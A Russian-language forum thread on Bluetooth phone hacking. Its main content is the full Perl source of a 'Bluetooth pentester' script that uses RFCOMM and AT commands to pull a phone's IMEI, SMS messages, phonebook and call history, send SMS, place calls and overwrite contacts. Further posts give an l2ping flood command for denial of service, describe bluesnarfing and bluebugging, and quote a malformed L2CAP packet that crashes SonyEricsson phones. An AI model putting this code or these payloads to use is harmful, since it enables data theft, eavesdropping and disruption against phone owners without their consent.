Обсуждаем безопасность и взлом bluetooth-устройств.
Обсуждаем безопасность и взлом bluetooth-устройств.
Исходный код инструмента, предназначенного для взлома Bluetooth-устройств. Написан на Perl.
пы.сы. Сам не проверялКод:#!/usr/bin/perl # # bluetooth hacking tool # # written by pierre kroma # kroma@syss.de use Device::Gsm; use Getopt::Std; use Term::ReadLine; use Device::Modem; use Term::ANSIColor; ############################ U S A G E ################################### getopts("bcpsv", \%args); system ("clear"); print "\nBluetooth Pentester\n"; print "written by pierre kroma (kroma\@syss.de)\n\n"; if (!defined $args{s}) { print qq~ Usage: perl bluetest.pl -s { -b <bt-addr> -c channel -p -v } -b <bt-addr> = hardware address of the target bluetooth device (example: 00:11:22:33:44:55) -c <channel> = channel -p = ping the remote device -s = start the script -v = be verbose ~; exit;} ################################## D E F I N I T I O N #################### # tools my $hcitool="/usr/bin/hcitool"; my $l2ping ="/usr/bin/l2ping"; my $rfcomm ="/usr/bin/rfcomm"; my $lsusb = "/usr/sbin/lsusb"; my $hciconfig = "/usr/sbin/hciconfig"; my $bluefw = "/sbin/bluefw"; # variable my $bluedev="hci0"; my $bt_addr = 0; my $channel = $args{c}; my $i = 0; #################### S U B R O U T I N E S ################################# sub init_adapter { use strict; my $busnum = ""; my $devnum = ""; # busid 0a12:0001 = linksys USBBT100 usb bluetooth stick my $id = `$lsusb 2>/dev/null |grep 0a12:0001`; # more generic # my $id = `$lsusb 2>/dev/null |grep -i bluetooth`; if ( $id =~ /Bus (\d{3}) Device (\d{3}): ID 0a12:0001/ ) { $busnum = $1; $devnum = $2; system("$bluefw usb $busnum\/$devnum"); system("$hciconfig $bluedev up"); sleep(1.5); } } sub init_modem { $modem = new Device::Modem( port => '/dev/rfcomm0' ); if( $modem->connect( baudrate => 9600 ) ) { # print "connected!\n"; } else { print "sorry, cannot connect to your serial port!\n"; } # turn off the local echo $modem->echo(0); } sub searching { print color 'bold blue'; print "search devices\n"; print color 'reset'; my @scan = `$hcitool scan | grep -v "Scanning"`; foreach $line (@scan) { print $i++; print $line; } print "\n"; } sub selecting { # select a device if($args{'b'}) { $bt_addr = $args{b}; } else { $term = new Term::ReadLine 'bluetooth address reader'; my $prompt = "Enter hw-addr (example: 00:11:22:33:44:55): "; my $OUT = $term->OUT || \*STDOUT; $bt_addr = $term->readline($prompt); } } sub ping { # ping the remote device if($args{'p'}) { # ping the remote device print color 'bold blue'; print "\nping the remote device $bt_addr\n"; print color 'reset'; die "You must be root to use l2ping!\n" if $> != 0; system ("$l2ping -c 5 $bt_addr"); } } sub binding { # binding a device print color 'bold blue'; print "\n\nbind a device to $bt_addr \t\t"; print color 'reset'; if($args{'c'}) { $channel = $args{c}; } else { # setting default nokia 6310i hidden channel 17 or 18 $channel = 17; } system("$rfcomm release $bluedev 2>/dev/null"); sleep(2); system("$rfcomm bind $bluedev $bt_addr $channel 2>/dev/null"); sleep(2); # Connect to the mobile phone # for devfs # my $gsm = new Device::Gsm( port => '/dev/bluetooth/rfcomm/0' ); # for udev $gsm = new Device::Gsm( port => '/dev/rfcomm0' ); if( $gsm->connect() ) { print color 'bold green'; print "connected!\n"; print color 'reset'; } else { print color 'bold red'; print "sorry, no connection with gsm phone on serial port!\n"; print color 'reset'; exit (1); } # Register to GSM network $gsm->register(); } sub manu { # Extract the manufacturer my $man_name = $gsm->manufacturer(); print "manufacture: $man_name \n"; } sub model { # model my $model = $gsm->model(); print "model: $model \n"; } sub sw { # software revision $modem->atsend( 'AT+CGMR' . Device::Modem::CR ); $rev = $modem->answer(); $rev =~ s/\r//g; $rev =~ s/OK//g; print "software revision: \n \n $rev"; sleep(1); } sub imei { # Extract the IMEI number my $imei = $gsm->imei(); $imei =~ s/\r//g; $imei =~ s/OK//g; print "IMEI: (International Mobile Equipment Identifier) = $imei \n\n"; } sub readbook { print color 'bold blue'; print "\n\nextract the phonebook\n\n"; print color 'reset'; if($args{'v'}) { print "storagelocation:"; print qq~ ME => storage: device SM => storage: SIM-card MT => combination of ME + SM (doesnґt work FOR MY 6310i) BM => storage: CB-news ~; } print "\nsupported storage location"; $modem->atsend( 'AT+CPMS=?' . Device::Modem::CR ); $types = $modem->answer(); $types =~ s/\r//g; $types =~ s/\n//g; $types =~ s/OK//g; $types =~ s/\+CPMS//g; print "$types \n"; print "\ncurrent phonebooksource"; $modem->atsend( 'AT+CPBS?' . Device::Modem::CR ); $source = $modem->answer(); $source =~ s/\r//g; $source =~ s/\n//g; $source =~ s/OK//g; $source =~ s/\+CPBS//g; print $source; print "\n\n"; print "\ncurrent used storage on device"; $command="AT+CPBS=\"ME\""; $modem->atsend( $command . Device::Modem::CR ); $modem->atsend( 'AT+CPBS?' . Device::Modem::CR ); $memory = $modem->answer(); $memory =~ s/\r//g; $memory =~ s/\n//g; $memory =~ s/OK//g; $memory =~ s/\+CPBS//g; print $memory; print "\ncurrent used storage on SIM"; $command="AT+CPBS=\"SM\""; $modem->atsend( $command . Device::Modem::CR ); $modem->atsend( 'AT+CPBS?' . Device::Modem::CR ); $source = $modem->answer(); $source =~ s/\r//g; $source =~ s/\n//g; $source =~ s/OK//g; $source =~ s/\+CPBS//g; print $source; print "\n\n"; my $prompt = "What do you want to readout? (ME oder SM) : "; my $OUT = $term->OUT || \*STDOUT; $type = $term->readline($prompt); $command = "AT+CPBS=\"$type\""; $modem->atsend( $command . Device::Modem::CR ); $asource = $modem->answer(); $asource =~ s/\r//g; $asource =~ s/\n//g; $asource =~ s/OK//g; print $asource; my $prompt = "starting from entry (>=0): \t "; my $OUT = $term->OUT || \*STDOUT; $start = $term->readline($prompt); print "\n"; my $prompt = "ending to entry:\t\t"; my $OUT = $term->OUT || \*STDOUT; $max = $term->readline($prompt); print "\n"; if ( $start > $max || $start <= '0' ) { print "oops damn f*cking long night? \n"; print "initial value <= 0? \n"; print "or initial value > final value? \n"; exit (1); } list_entries (); print "\nextract last 5 dialled numbers: \n"; $command = "AT+CPBS=\"DC\""; $modem->atsend( $command . Device::Modem::CR ); $asource = $modem->answer(); $asource =~ s/\r//g; $asource =~ s/\n//g; $asource =~ s/OK//g; print $asource; $start=1; $max=5; list_entries (); print "\nlast 5 missed calls: \n"; $command = "AT+CPBS=\"MC\""; $modem->atsend( $command . Device::Modem::CR ); $asource = $modem->answer(); $asource =~ s/\r//g; $asource =~ s/\n//g; $asource =~ s/OK//g; print $asource; $start=1; $max=5; list_entries (); print "\nlast 5 received calls: \n"; $command = "AT+CPBS=\"RC\""; $modem->atsend( $command . Device::Modem::CR ); $asource = $modem->answer(); $asource =~ s/\r//g; $asource =~ s/\n//g; $asource =~ s/OK//g; print $asource; $start=1; $max=5; list_entries (); } sub list_entries { $i = $start; foreach $i ( $start..$max ) { $command = "AT+CPBR=$i"; $modem->atsend( $command . Device::Modem::CR ); $entry = $modem->answer(); # format $entry =~ s/\r//g; $entry =~ s/\n//g; $entry =~ s/OK//g; # parse # type = 145 = international format = number starts with + # type = 129 = unknown number format = didn't start with + ( $pos, $num, $type, $tag ) = $entry =~ m/^\+CPBR: ($i),"(.+?)",(\d+),"(.+)?"\r?$/m; $type =~ s/145/international/g; $type =~ s/129/unknown/g; if ( $num == '' ) { print "entry $i: is empty \n"; } else { print "entry $i: $num, $type, $tag \n"; } } } sub sendsms { # Send a text message quickly print color 'bold blue'; print "\n\nwrite a message (SMS)\n"; print color 'reset'; print "\n"; my $prompt = "recipient (example +4912345678): "; my $OUT = $term->OUT || \*STDOUT; $recipient = $term->readline($prompt); print "\n"; my $prompt = "message: "; my $OUT = $term->OUT || \*STDOUT; $message = $term->readline($prompt); my $status = $gsm->send_sms( recipient => $recipient, content => $message ); if ( $status ) { print color 'bold green'; print "\nmessage transmitted successfully.\n"; print color 'reset'; } else { print color 'bold red'; print "\nERROR: message couldn`t delivered.\n" ; print color 'reset'; } sleep(2); } sub readsms { # Get list of device::Gsm::Sms message objects # see `examples/read_messages.pl' for all details # get mode status $modem->atsend( 'AT+CMGF?' . Device::Modem::CR ); print color 'bold blue'; print "\nSMS Menu"; print color 'reset'; print "\n \ncurrent sms status (0=PDU, 1=text)"; my $status = $modem->answer(); $status =~ s/\r//g; $status =~ s/\n//g; $status =~ s/OK//g; $status =~ s/\+CMGF//g; print $status; sleep(2); # switch to text mode (does not work with 6310i) # print "switch to text mode \n"; # $modem->atsend( 'AT+CMGF=1' . Device::Modem::CR ); # print $modem->answer(); print "\n\nextract all sms \n"; $modem->atsend( 'AT+CMGL=4' . Device::Modem::CR ); my $extract = $modem->answer(); $extract =~ s/OK//g; $extract =~ s/\+CMGL://g; sleep(2); print $extract; } sub call { # read number print color 'bold blue'; print "\n\nmaking a call\n"; print color 'reset'; print "\n"; my $prompt = "Which number should be called? (example: 004970714078560): "; my $OUT = $term->OUT || \*STDOUT; $number = $term->readline($prompt); print "\ncalling $number \n"; my $max = 20; if (fork) { $modem->dial( $number ); } else { print "waiting $max seconds before ring off: "; $i = 0; foreach $i ( 1..$max ) { print "$i "; sleep(1); } print "\n"; $modem->hangup(); } } sub writebook { print color 'bold blue'; print "\ncreate a phonebook entry"; print color 'reset'; print "\n"; my $prompt = "storage space number (ATTENTION: you may overwrite an existing entry:): "; my $OUT = $term->OUT || \*STDOUT; $nr = $term->readline($prompt); print "\n"; my $prompt = "phone-number (format +49123456789): "; my $OUT = $term->OUT || \*STDOUT; $tel = $term->readline($prompt); print "\n"; my $prompt = "name: "; my $OUT = $term->OUT || \*STDOUT; $name = $term->readline($prompt); print "\n"; my $prompt = "storage location (ME=device, SM=SIM): "; my $OUT = $term->OUT || \*STDOUT; $place = $term->readline($prompt); $command="AT+CPBS=\"$place\""; $modem->atsend( $command . Device::Modem::CR ); $command="AT+CPBW=$nr,\"$tel\",145,\"$name\""; $modem->atsend( $command . Device::Modem::CR ); $source = $modem->answer(); $source =~ s/\r//g; $source =~ s/\n//g; $source =~ s/OK//g; print $source; print "\n\nchecking......"; $start = $nr - 5; $max = 5; if ( $start <= 0 ) { $start = $nr; } $max = $nr + 5; print "\n extract your phonebook from storage space number $start to $max \n"; list_entries (); print "\n"; } sub key { my $message = "- press any key -"; my $OUT = $term->OUT || \*STDOUT; $term->readline($message); } sub final { #system ('cat ./logo.txt'); print color 'bold red'; print "\t\t\t\twritten by pierre kroma (kroma\@syss.de)\n\n"; print color 'reset'; $modem->disconnect(); print "\n"; } ############################# M A I N ############################### init_adapter (); searching (); selecting (); ping (); binding (); init_modem (); print color 'bold blue'; print "\nextract device information\n"; print color 'reset'; manu (); model (); sw (); imei (); key(); readsms (); sendsms (); key (); readbook (); writebook (); key (); call (); key (); final ();
Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.
Основные методы атаки:
1.Bluetracking.
Адрес устройства передается в сеть в незашифрованном виде и может быть лекго перехвачен и декодирован. Хакер может определить производителя устройства, модель и ее происхождение.
2.Bluesnarfing.
Во многих мобильных устройствах служба обмена объектами (OBEX) работает в незащищонном режиме, не требуя никакой аутентификации, соответственно, может произойти утечка информации...
ЗЫ: телефоны Siemens всегда работают в защищенном режиме.
3.Bl****gging.
Это разновидность bluesnarfig-атак, но вместо обмена объектов происходит засылка AT-команд (коммуникационных команд) по тому же OBEX-протоколу. С помощью АТ-команд можно отправлять SMS, осуществлять звонки за счет жертвы, выходить в интернет...
DoS против многих bluetooth-девайсов
Dos происходит в результате пинг-флуда устройства с помощью лэптопа под *nix:
# l2ping -f <MAC атакуемого девайса>
Уязвимы следующие устройиства:
-NOKIA 7650
-NOKIA 3650/60
-NOKIA 6600
-SIEMENS S55
-Conceptronic (CBTU) Bluetooth dongle on Windows 2003 (ошибка реализации BT-стека)
и т.п.
Защититься можно переключив устройство в скрытый(Hide-mode) режим, однако при направленной атаке это не спасает от Dos.
Демонстрация серьезной уязвимости протокола беспроводной связи Bluetooth, проведенная на прошлой неделе на конференциях хакеров и специалистов по безопасности (DefCon и BlackHat), вызвали серьезную обеспокоенность среди производителей и пользователей мобильных устройств. Используя модифицированные Bluetooth-настройки на лаптопе и самостоятельно разработанную программу Bl****g, Адам Лори (Adam Laurey), сотрудник лондонской компании ALD по компьютерной безопасности и немецкий разработчик Мартин Герфурт (Martin Herfurt) инициировали звонок с мобильного телефона «жертвы» на свой номер, тем самым превратив «взломанный» телефон в подслушивающее устройство. Все звонки на телефон с Bluetooth также могут прослушиваться – достаточно лишь дистанционно установить на нем программный шлюз, который будет перенаправлять поступающие звонки через указанный номер. Было также продемонстрировано, что телефон «жертвы» может быть дистанционно использован для посылки сообщений, созданных на модифицированном лаптопе. Все действия хакеров при этом остаются бесследными, единственной зацепкой может стать лишь незнакомый номер в телефонном счете. Наиболее уязвимыми для атак оказались модели Ericsson, Sony Ericsson (в особенности модель T610) и Nokia (модели 6310 и 8910), менее уязвимыми – телефоны Motorola, а у обладателей телефонов Siemens нет никаких оснований для беспокойства. Встревоженные полученными данными, производители уже приступили к устранению уязвимостей: получив предварительные сведения от Лори еще в ноябре, SonyEricsson уже объявила об устранении ряда ошибок, a Мotorola пообещала увеличить уровень безопасности в следующих выпусках своих телефонов.
взято с uinc.ru
Пьер Бетойн(Pierre Betouin) сообщает об обнаружении уязвимости в прошивках сотовых телефонов SonyEricsson K600i, V600i, K750i, W800i, T68i и возможно других. Уязвимость возникает при работе через Bluetooth по протоколу L2CAP, в результате чего, злоумышленник передав специально сформированный пакет на телефон, может вызвать "зависание" телефона или его перезагрузку. Злонамеренный пакет должен быть сформирован таким образом, чтобы указанная в его заголовке длина была на 3 байта меньше реальной, например: "08 01 01 00".
uinc.ruSony/Ericsson reset display - PoC :cool:
Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.
как говорится "вот и поговорили"... (:
Всё - надо ждать новых прошивок на вышеперечисленные модели... Где эти баги исправлены.
На форуме бываю редко. vk.com/clausbratsk
а ЧЕРЕЗ Bluetooth можно узнать номер телефона того к кому подключаешься?
[My lifestyle is electronic music] [~ShэйkeR~]
Серотонин — естественно производимый в организме наркотик,
который может легко трансформироваться в диэтиламид декстролизергиновой кислоты, более известный как LSD... ***1663; ***12484;
не ну а если серьезно ?
можно нет ?
А как? Связи между радиотрактом GSM телефона и зубом нет
Ложки нет.
Почему нету? Процессор-то и тем и тем рулит, соответственно может и связать их. Номер карты храниться в памяти, к которой у проца есть доступ, т.е. программно вполне реально его узнать. Например, можно эмулировать подключением через блютуф подключение к программе-эксченджеру (например, для Самсунгов это PC Studio), а там и контактами рулить можно, и набирать номера и всё что угодно.
На форуме бываю редко. vk.com/clausbratsk
C этим согласен. Тогда поправлюсь: используя всего лишь мобильный телефон с блютусом, узнать номер другого телефона без разрешения владельца довольно проблематично и в обычных условиях города практически нереально (дальность в 10 метров и т.п.).
Хотя нет ничего нереального: этот пост тому подтверждение
Ложки нет.
что такое блоетотх???????
Хы.......
BLUETOOTH - это современная технология беспроводной передачи данных, позволяющая соединять друг с другом практически любые устройства:
мобильные телефоны, факсы, ноутбуки, принтеры, цифровые фотоаппараты. ;)
корабельный кот.
система вертикального взлета и мокрой чистки ковров,интегрированная в телефонный аппарат (с)
Все это интересно, но есть ли у кого какие нибудь статьи чтобы все это реализовать на практике, и как это сделать???
Заходите на хаб iHub по новому адресу:dchub://10.37.3.238
Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)